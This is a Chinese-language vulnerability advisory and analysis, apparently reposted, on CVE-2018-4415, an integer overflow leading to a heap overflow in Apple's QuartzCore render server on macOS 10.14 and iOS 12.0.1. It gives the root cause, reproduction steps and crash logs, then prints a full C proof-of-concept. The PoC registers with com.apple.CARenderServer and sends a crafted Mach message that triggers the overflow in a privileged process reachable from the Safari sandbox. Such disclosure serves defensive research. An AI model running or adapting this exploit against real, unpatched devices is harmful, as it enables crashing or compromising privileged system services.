内容简介:漏洞摘要厂商回应
漏洞摘要
QuartzCore ,也被称为CoreAnimation,是macOS和iOS使用的一个框架,用于构建动画场景图。CoreAnimation使用独特的渲染模型,其中grapohics操作在单独的进程中运行。在macOS环境中,其进程名称为WindowServer。在iOS环境中,其进程名称为backboardd。这两个进程都位于沙箱之外,并且有权调用setuid。服务名称QuartzCore通常被称为CARenderServer,该服务存在于macOS和iOS中,可以从Safarisandbox访问,因此被广泛在Pwn2Own中利用。在最新版本的macOS和iOS系统中,存在整数溢出漏洞,该漏洞可能会导致QuartzCore发生堆溢出问题。
厂商回应
·CoreAnimation影响:应用程序可能会使用系统权限执行任意代码。
· 说明:内存损坏漏洞,通过改进内存处理过程实现修复。
· 来源:由Beyond Security的SecuriTeam报告此漏洞。
· CVE编号:CVE-2018-4415
· 致谢:一位独立的安全研究员
· 受影响的系统:macOS 10.14、iOS 12.0.1
漏洞详细信息
这个漏洞的根本原因在于QuartzCore`CA::Render::InterpolatedFunction::InterpolatedFunction函数,该函数没有关注到整数溢出的问题。在本文中,将重点讨论macOS和iOS上关于此漏洞的详细信息。
macOS 10.14
在macOS上,有一个非常实用的API,用来打开名为CGSCreateLayerContext的CARenderService(该API在iOS上不存在)。攻击者可以使用ID为0x9C42或0x9C43向服务端口发送消息。当进程(server_thread)收到指定消息ID的消息时,会进入到反序列化的过程。在提供适当的数据后,执行流将会进入函数CA::Render::InterpolatedFunction::InterpolatedFunction中。
需要注意的是,(a)和(b)这两个成员的值可以由攻击者控制(CA使用诸如CA::Render::Decoder::decode*来反序列化对象),并且在CA::Render::InterpolatedFunction::allocate_storage函数中,这些值将用于决定要分配的内存的大小。
在(d)中,v3由(a)和(b)的值控制。并且(e)处的v4也可以由(c)处的攻击者控制。所以要分配的内存大小是4 * (v4 + v3)。但仔细观察(f),其传递给CA::Render::Decoder::decode_bytes的第三个参数实际上是4 * v3。(f)中的CA::Render::Decoder::decode_bytes的最简单形式,类似于memcpy(v2, v8, 4 * v3)或memset(v2, 0, 4 * v3)。因此,当4 * (v4 + v3)发生溢出并且4 * v3不溢出时,就会发生整数溢出导致的堆溢出。在本文的漏洞利用部分,可以具体查看能够成功导致整数溢出的攻击者控制值。
在macOS环境中,要复现此漏洞,可按照如下步骤进行:
1. clang QuartzCoreFunctionIntOverFlow.c –o
quartz_core_function_over_flow -framework CoreGraphics
2. ./quartz_core_function_over_flow
1 Thread 0 Crashed:: Dispatch queue: com.apple.main−thread com.apple.CoreFoundation 0x00007fff332e2daf __CFBasicHashAddValue + 2077 com.apple.CoreFoundation 0x00007fff332e33f5 CFDictionarySetValue + 187 com.apple.SkyLight 0x00007fff595ebfa9 CGXPostPortNotification + 123 com.apple.SkyLight 0x00007fff595eb947 notify_handler + 73 com.apple.SkyLight 0x00007fff595eb2d9 post_port_data + 237 com.apple.SkyLight 0x00007fff595eafba run_one_server_pass + 949 com.apple.SkyLight 0x00007fff595eab90 CGXRunOneServicesPass + 460 com.apple.SkyLight 0x00007fff595eb820 server_loop + 96 com.apple.SkyLight 0x00007fff595eb7b5 SLXServer + 1153 WindowServer 0x000000010011d4c4 0x10011c000 + 5316 libdyld.dylib 0x00007fff6036ced5 start + 1 Thread 2:: com.apple.coreanimation.render−server // CARenderServer thread libsystem_platform.dylib 0x00007fff6056ce09 _platform_bzero$VARIANT$Haswell + 41 com.apple.QuartzCore 0x00007fff3e8ebaa4 CA::Render::Decoder:: decode_bytes(void*, unsigned long) + 46 com.apple.QuartzCore 0x00007fff3e8c35f7 CA::Render::InterpolatedFunction ::InterpolatedFunction(CA::Render::Decoder*) + 191 com.apple.QuartzCore 0x00007fff3e8c3524 CA::Render::Function::decode(CA ::Render::Decoder*) + 224 com.apple.QuartzCore 0x00007fff3e8ecb8a CA::Render::Decoder:: decode_object(CA::Render::Type) + 946 com.apple.QuartzCore 0x00007fff3e8edc8e CA::Render::decode_commands(CA:: Render::Decoder*) + 871 com.apple.QuartzCore 0x00007fff3e896422 CA::Render::Server:: ReceivedMessage::run_command_stream() + 748 com.apple.QuartzCore 0x00007fff3e73d2e1 CA::Render::Server:: server_thread(void*) + 1841 com.apple.QuartzCore 0x00007fff3e91427c thread_fun(void*) + 25 libsystem_pthread.dylib 0x00007fff60572795 _pthread_body + 159 libsystem_pthread.dylib 0x00007fff605726e2 _pthread_start + 70 libsystem_pthread.dylib 0x00007fff605722a9 thread_start + 13
iOS 12.0.1
由于这一漏洞成因非常明显,因此针对iOS的代码与macOS的代码几乎相同。在这一章中,我们仅讨论iOS和macOS之间的不同之处。
1. 在macOS上,没有例如CGSCreateLayerContext这样的API,可以直接获取CoreAnimation渲染上下文,但通过深入研究,我们发现MIG函数_XRegisterClient可以用来替换CGSCreateLayerContext。首先,攻击者打开服务com.apple.CARenderServer(可以从沙箱访问),然后通过mach_msg调用消息ID为40202的_XRegisterClient。
2. 要在iOS 12 beta上复现这一漏洞,应该使用最新的1Xcode-beta(适用于最新的SDK)。
3. 我们应该根据 www.malhal.com 导入IOKit框架头部。需要注意的是,目标目录应该更改为相应的Xcode-beta应用程序。
4. 代码位于函数应用程序didFinishLaunchingWithOptions中,并在应用程序启动时触发。
5. 安装应用程序后,只需启动applicationios-sbe即可。
1 Thread 3 name: com.apple.coreanimation.render−server // CARenderServer thread 2 Thread 3: 0 libsystem_platform.dylib 0x000000018fefe584 0x18fef6000 + 34180 1 QuartzCore 0x0000000194a6e1d4 0x19491e000 + 1376724 2 QuartzCore 0x0000000194a21a58 0x19491e000 + 1063512 3 QuartzCore 0x0000000194a710b8 0x19491e000 + 1388728 4 QuartzCore 0x0000000194a719c0 0x19491e000 + 1391040 5 QuartzCore 0x00000001949fb140 0x19491e000 + 905536 6 QuartzCore 0x00000001949facdc 0x19491e000 + 904412 7 QuartzCore 0x0000000194ab65c8 0x19491e000 + 1672648 8 libsystem_pthread.dylib 0x000000018ff0c26c 0x18ff01000 + 45676 9 libsystem_pthread.dylib 0x000000018ff0c1b0 0x18ff01000 + 45488 10 libsystem_pthread.dylib 0x000000018ff0fd20 0x18ff01000 + 60704 Thread 13 name: Dispatch queue: com.apple.libdispatch−manager Thread 13 Crashed: 0 libdispatch.dylib 0x000000018fd18514 0x18fcca000 + 320788 1 libdispatch.dylib 0x000000018fd1606c 0x18fcca000 + 311404 2 libdispatch.dylib 0x000000018fd1606c 0x18fcca000 + 311404 3 libdispatch.dylib 0x000000018fd0f1ac 0x18fcca000 + 283052 4 libsystem_pthread.dylib 0x000000018ff0d078 0x18ff01000 + 49272 5 libsystem_pthread.dylib 0x000000018ff0fd18 0x18ff01000 + 60696
漏洞利用
/**
* Brief: Integer overflow in CoreAnimation, CVE-2018-4415
* Usage:
* 1. clang FunctionIntOverFlow.c -o function_over_flow
* 2. ./function_over_flow
*
* Specifically, `CA::Render::InterpolatedFunction::allocate_storage` function in QuartzCore does
* not do any check for integer overflow in expression |result = (char *)malloc(4 * (v4 + v3));|.
*
* The bug has been fixed in macOS 10.14.1 and iOS 12.1, since the interfaces and structure of
* messages are inconsistent between different versions, this PoC may only work on macOS 10.14 and
* iOS 12.0, but it's very easy to replant it to another versions.
*
* Tips for debugging on macOS: Turn Mac to sleep mode and ssh to the target machine, this may
* help you concentrate on your work.
*
* One more: Mach service com.apple.CARenderServer is reacheable from Safari sandbox on both macOS
* and iOS. com.apple.windowserver.active accurately on macOS versions prior to macOS 10.14.
*/
#include <dlfcn.h>
#include <mach/mach.h>
#include <stdio.h>
#include <unistd.h>
static void do_int_overflow() {
mach_port_t p = MACH_PORT_NULL, bs_port = MACH_PORT_NULL;
task_get_bootstrap_port(mach_task_self(), &bs_port);
const char *render_service_name = "com.apple.CARenderServer";
kern_return_t (*bootstrap_look_up)(mach_port_t, const char *, mach_port_t *) =
dlsym(RTLD_DEFAULT, "bootstrap_look_up");
kern_return_t kr = bootstrap_look_up(bs_port, render_service_name, &p);
if (kr != KERN_SUCCESS) {
printf("[-] Cannot get service of %s, %s!\n", render_service_name, mach_error_string(kr));
return;
}
typedef struct quartz_register_client_s quartz_register_client_t;
struct quartz_register_client_s {
mach_msg_header_t header;
uint32_t body;
mach_msg_port_descriptor_t ports[4];
char padding[12];
};
quartz_register_client_t msg_register;
memset(&msg_register, 0, sizeof(msg_register));
msg_register.header.msgh_bits =
MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) |
MACH_MSGH_BITS_COMPLEX;
msg_register.header.msgh_remote_port = p;
msg_register.header.msgh_local_port = mig_get_reply_port();
msg_register.header.msgh_id = 40202; // _XRegisterClient
msg_register.body = 4;
msg_register.ports[0].name = mach_task_self();
msg_register.ports[0].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[0].type = MACH_MSG_PORT_DESCRIPTOR;
msg_register.ports[1].name = mach_task_self();
msg_register.ports[1].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[1].type = MACH_MSG_PORT_DESCRIPTOR;
msg_register.ports[2].name = mach_task_self();
msg_register.ports[2].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[2].type = MACH_MSG_PORT_DESCRIPTOR;
msg_register.ports[3].name = mach_task_self();
msg_register.ports[3].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[3].type = MACH_MSG_PORT_DESCRIPTOR;
kr = mach_msg(&msg_register.header, MACH_SEND_MSG | MACH_RCV_MSG,
sizeof(quartz_register_client_t), sizeof(quartz_register_client_t),
msg_register.header.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (kr != KERN_SUCCESS) {
printf("[-] Send message failed: %s\n", mach_error_string(kr));
return;
}
mach_port_t context_port = *(uint32_t *)((uint8_t *)&msg_register + 0x1c);
uint32_t conn_id = *(uint32_t *)((uint8_t *)&msg_register + 0x30);
typedef struct quartz_function_int_overflow_s quartz_function_int_overflow_t;
struct quartz_function_int_overflow_s {
mach_msg_header_t header;
char msg_body[0x60];
};
quartz_function_int_overflow_t function_int_overflow_msg = {0};
function_int_overflow_msg.header.msgh_bits =
MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
function_int_overflow_msg.header.msgh_remote_port = context_port;
function_int_overflow_msg.header.msgh_id = 40002;
memset(function_int_overflow_msg.msg_body, 0x0, sizeof(function_int_overflow_msg.msg_body));
*(uint32_t *)(function_int_overflow_msg.msg_body + 0) = 0x1; // Ports count
/**
* 1. One port consumes 12B space
* 2. This `mach_msg` routine dose not need a port, so set this port to MACH_PORT_NULL(memory
* cleared by memset)
*/
*(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 0) = 0xdeadbeef;
*(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 4) = conn_id;
*(int8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16) = 2;
*(uint64_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 1) = 0xdeadbeefdeadbeef;
*(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 9) = 0xffffffff;
*(uint8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 13) = 0x12; // Decode Function
*(uint8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 14) = 0x2;
/**(uint32_t*)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 15) = 0xDECAFBAD;*/
*(uint64_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 15) = 0x2000000000000000;
*(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 23) = 1;
*(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 27) = 2;
*(uint8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 31) = 1;
kr = mach_msg(&function_int_overflow_msg.header, MACH_SEND_MSG,
sizeof(function_int_overflow_msg), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (kr != KERN_SUCCESS) {
printf("[-] Send message failed: %s\n", mach_error_string(kr));
return;
}
return;
}
int main() {
do_int_overflow();
return 0;
}
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- NodeJS沙箱逃逸分析
- 一行代码逃逸 Safari 沙箱
- 黑客入侵与机器学习沙箱逃逸
- Mozilla 发布 Firefox 67.0.4,修复沙箱逃逸漏洞
- CVE-2019-8603(macOS漏洞):利用一个越界读漏洞实现了Safari沙箱逃逸
- 【漏洞分析】Pwn2Own:Safari 沙箱逃逸(part 1)从磁盘挂载到权限提升
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Building Social Web Applications
Gavin Bell / O'Reilly Media / 2009-10-1 / USD 34.99
Building a social web application that attracts and retains regular visitors, and gets them to interact, isn't easy to do. This book walks you through the tough questions you'll face if you're to crea......一起来看看 《Building Social Web Applications》 这本书的介绍吧!